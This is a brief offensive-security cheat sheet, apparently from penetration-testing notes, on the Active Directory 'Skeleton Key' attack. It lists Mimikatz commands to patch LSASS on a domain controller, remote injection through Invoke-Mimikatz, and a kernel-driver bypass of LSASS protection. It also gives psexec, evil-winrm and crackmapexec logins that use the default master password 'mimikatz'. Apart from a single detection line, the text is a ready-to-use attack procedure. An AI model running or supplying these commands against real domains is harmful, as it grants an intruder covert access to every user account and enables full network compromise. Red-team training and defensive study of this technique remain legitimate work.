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Overview

Patch LSASS on DC with master password. All users can authenticate with their real password OR the skeleton key. Does not survive DC reboot.

Mimikatz (On DC)

mimikatz # privilege::debug
mimikatz # misc::skeleton
Default skeleton key: mimikatz

Authenticate with Skeleton Key

# Any user with skeleton password
impacket-psexec DOMAIN/administrator:mimikatz@DC_IP
evil-winrm -i DC_IP -u administrator -p 'mimikatz'
crackmapexec smb DC_IP -u administrator -p 'mimikatz'
Original passwords still work too.

Remote Injection (Needs DA)

If you have code exec on DC:
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName DC_HOSTNAME

Notes

  • Patches LSASS memory on DC — not persistent across reboots
  • All domain users affected
  • Original passwords still work
  • Default skeleton password: mimikatz
  • LSASS must not be running as Protected Process (PPL)
  • Detection: monitor LSASS memory modifications

If LSASS is Protected (PPL)

mimikatz # misc::skeleton /driver
Loads kernel driver (mimidrv.sys) to bypass PPL.

Quick Reference

TaskCommand
Injectmisc::skeleton (on DC)
Default passwordmimikatz
Loginimpacket-psexec DOMAIN/anyuser:mimikatz@DC
Survives rebootNo